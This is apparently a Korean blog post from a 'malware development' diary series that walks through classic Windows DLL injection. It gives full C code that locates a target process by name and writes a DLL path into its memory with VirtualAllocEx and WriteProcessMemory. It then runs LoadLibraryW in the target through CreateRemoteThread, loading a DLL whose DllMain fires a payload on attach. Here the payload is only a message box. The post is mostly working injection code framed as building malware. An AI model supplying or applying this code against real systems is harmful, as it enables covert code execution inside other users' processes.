타겟 찾기
지난번엔 직접 타겟의 pid를 입력해서 쉘코드 인젝션을 수행했다.
그러나, 이번엔 자동으로 pid를 받아오게 만들겠다
CreateToolhelp32Snapshot: 메모리상에서 실행 중인 모든 프로세스(또는 스레드, 모듈)의 상태를 리스트 데이터 구조로 복사
여기서 타겟 프로세스를 뒤짐Process32First,Process32Next: 스냅샷 뒤지는데 사용
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
// 타겟 프로세스 이름을 주면 PID를 반환하는 함수
DWORD GetProcessIdByName(const wchar_t* processName) {
DWORD pid = 0;
// 1. 스냅샷 생성
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
// 2. 리스트 순차 탐색
if (Process32FirstW(hSnapshot, &pe32)) {
do {
// 프로세스 이름을 비교해 찾음
if (_wcsicmp(pe32.szExeFile, processName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe32));
}
// 3. 핸들 정리
CloseHandle(hSnapshot);
return pid;
}
int main() {
DWORD targetPID = GetProcessIdByName(L"notepad.exe");
return 0;
}
DLL injection
타겟 프로세스가 Loadlibrary를 강제로 호출하게 만들어 악성 dll을 메모리에 올리는 기법
이떄 악성 dll은 DllMain함수의 자동 동작으로 악성행위를 함
DLL_PROCESS_ATTACH를 이용
(악성코드 개발 4 참고)
- LoadLibrary를 어케 찾는가?
윈도우는 성능을 위해kernel32.dll이나ntdll.dll같은 핵심 시스템 dll은 메모리에 딱 한번 올림
-> 그리고 이 안에 포함된 API 함수는 모든 프로세스에서 같은 주소에 매핑됨
--> 따라서 로컬에서 LoadLibrary의 위치를 찾으면 됨
dll 인젝션 프로세스
LoadLibraryW의 주소를 찾음GetModuleHandleW를 통해 kernel32의 핸들을 얻고GetProcAddress를 통해 핸들에서 함수의 주소를 찾음- 해당 표적에 쓸 공간을 만듬
VirtualAllocEX로 외부 프로그램에 메모리를 할당
이떄 표적의 핸들을 넣어줘야 함
반환값으로 할당된 메모리 주소를 얻음 - 표적에 내 dll 주소를 적음
WriteProcessMemory로 커널에 요청
표적의 핸들, 쓸 주소를 넣어줘야 함 - 표적 프로세스가 악성 dll 실행
CreateRemoteThread로 원격으로 LoadLibrary를 호출하는 쓰레드 생성
관련 함수 정리
HMODULE GetModuleHandleW(
LPCWSTR lpModuleName // dll또는 exe의 이름
);
FARPROC GetProcAddress(
HMODULE hModule, // 대상 핸들
LPCSTR lpProcName // 함수 이름
);
코드 구현
dll은 악성코드 개발 10에서 만든 messagebox를 띄우는 dll을 사용하겠다
#include <stdio.h>
#include <Windows.h>
VOID MsgBoxPayload() {
MessageBoxA(NULL, "you are cooked", "Excuse me?", MB_OK | MB_ICONINFORMATION);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MsgBoxPayload(); // 여기서 자동 실행이 됨
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
상대경로로 dll을 찾으면 외부 프로세스에서 실행할 때 경로가 꼬일 수 있음
따라서 같은 디렉토리에 dll이 있다는 가정 하에 절대경로를 반환하는 함수를 만들었다
BOOL GetDllPath(const wchar_t* dllName, wchar_t* outBuffer, DWORD bufferSize) {
if (GetModuleFileNameW(NULL, outBuffer, bufferSize) == 0) {
return FALSE;
}
wchar_t* lastSlash = wcsrchr(outBuffer, L'\\');
if (lastSlash != NULL) {
*(lastSlash + 1) = L'\0';
HRESULT hr = StringCchCatW(outBuffer, bufferSize, dllName);
return TRUE;
}
return FALSE;
}
거의 shellcode-injection의 코드와 비슷한데,
PID를 자동으로 찾는 코드와
LoadLibrary를 찾아
CreateRemoteThread를 호출하는 인수만 조금 달라졌다
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <wchar.h>
#include <strsafe.h>
int main() {
DWORD targetPID = GetProcessIdByName(L"notepad.exe");
while (targetPID == 0) {
targetPID = GetProcessIdByName(L"notepad.exe");
}
printf("[+] got victims's PID: %d\n", targetPID);
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
printf("[+] got LoadLibrary's address!\n");
wchar_t dllPath[MAX_PATH] = { 0 };
GetDllPath(L"DLL1.dll", dllPath, MAX_PATH);
// 1. get victim's handle by OpenProcess
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE,
targetPID
);
if (hProcess == NULL) {
printf("[-] OpenProcess error\n");
return -1;
}
printf("[+] opening process success!\n");
// 2. allocate space to write path by VirtualAlloc
LPVOID ptr = VirtualAllocEx(
hProcess,
NULL,
sizeof(dllPath),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
printf("[+] virtualalloc success!\n");
// 3. write dll's path in process
WriteProcessMemory(
hProcess,
ptr,
dllPath,
sizeof(dllPath),
NULL
);
printf("[+] write path in PID: %d success!\n", targetPID);
// 4. create remote thread
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary, // LoadLibrary를
ptr, // dll 경로를 인수로 실행
0,
NULL
);
printf("[+] process injection success!\n", targetPID);
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
CloseHandle(hProcess);
printf("[#] press <Enter> to Quit...\n");
getchar();
return 0;
}

notepad가 실행되기 전까지는 계속 프로그램이 while을 돌며 대기타다가..

notepad가 실행되는 순간
PID를 받아오고
notepad 프로세스 메모리에 LoadLibrary를 부른다!
반응형
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](17)[local-thread-hijacking] (0) | 2026.04.14 |
|---|---|
| [악성코드 개발](16)[payload staging] (0) | 2026.04.10 |
| [악성코드 개발](14)[shellcode-injection] (1) | 2026.04.08 |
| [악성코드 개발](13)[레지스트리 조작] (0) | 2026.03.19 |
| [악성코드 개발](12)[persistency] (0) | 2026.03.18 |